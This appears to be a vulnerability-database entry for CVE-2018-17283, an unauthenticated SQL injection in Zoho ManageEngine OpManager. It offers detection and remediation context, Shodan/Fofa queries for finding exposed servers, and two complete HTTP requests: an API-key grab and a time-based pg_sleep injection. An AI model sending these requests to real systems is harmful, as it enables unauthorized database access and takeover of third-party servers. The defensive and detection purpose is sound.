🔙 목록으로 돌아가기

CVE-2018-17283: Zoho ManageEngine OpManager - SQL Injection

TitleZoho ManageEngine OpManager - SQL Injection
AuthorDhiyaneshDK
SeverityHigh
ImpactUnauthenticated attackers can execute SQL injection attacks to access or modify database contents, add administrator users, or extract sensitive information including credentials.
RemediationUpgrade to ManageEngine OpManager version 12.3 Build 123196 or later.
CVSS Score7.5
EPSS Score0.28841
CVE IDCVE-2018-17283
CWE IDCWE-89
Shodan Queryhttp.title:"OpManager"
Fofa Querytitle="OpManager"
Tags cve cve2018 oputils zoho opmanager sqli time-based-sqli vkev vuln

🔍 Vulnerability Description

Zoho ManageEngine OpManager before 12.3 Build 123196 does not require authentication for /oputilsServlet requests, as demonstrated by a /oputilsServlet?action=getAPIKey request that can be leveraged against Firewall Analyzer to add an admin user via /api/json/v2/admin/addUser or conduct a SQL Injection attack via the /api/json/device/setManaged name parameter.

🌐 HTTP Request

GET /oputilsServlet?action=getAPIKey HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
POST /api/json/device/setManaged?apiKey=xRClRD&manage=false HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

name=KcP7OGhC';select%20pg_sleep(6);%20--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-17283.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-17283.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A